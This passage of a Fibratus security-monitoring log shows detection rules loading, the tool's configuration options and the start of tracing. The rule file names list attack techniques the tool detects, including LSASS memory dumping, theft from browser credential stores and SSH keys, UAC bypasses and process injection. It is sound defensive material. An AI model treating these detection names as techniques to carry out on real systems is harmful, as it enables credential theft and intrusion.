C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:51:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:51:40+01:00 level=info msg=bootstrapping with pid 16088. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:51:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ min-buffers=>16 enable-mem=>true max-buffers=>36 enable-vamap=>true buffer-size=>512 enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-net=>true stack-enrichment=>true enable-threadpool=>false enable-image=>true enable-thread=>true enable-handle=>false enable-registry=>true enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s healthcheck=>true healthcheck-timeout=>5s timeout=>5s index-name=>fibratus trace-log=>false sniff=>false enabled=>false gzip-compression=>false template-name=>fibratus] http=>[ tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json enabled=>false method=>POST] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 durable=>false exchange-type=>topic timeout=>5s exchange=>fibratus passive=>false routing-key=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-allocs=>false skip-registry=>false scan-timeout=>10s excluded-files=>[] enabled=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:51:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:51:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:54:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T16:54:33+01:00 level=info msg=loading rule from 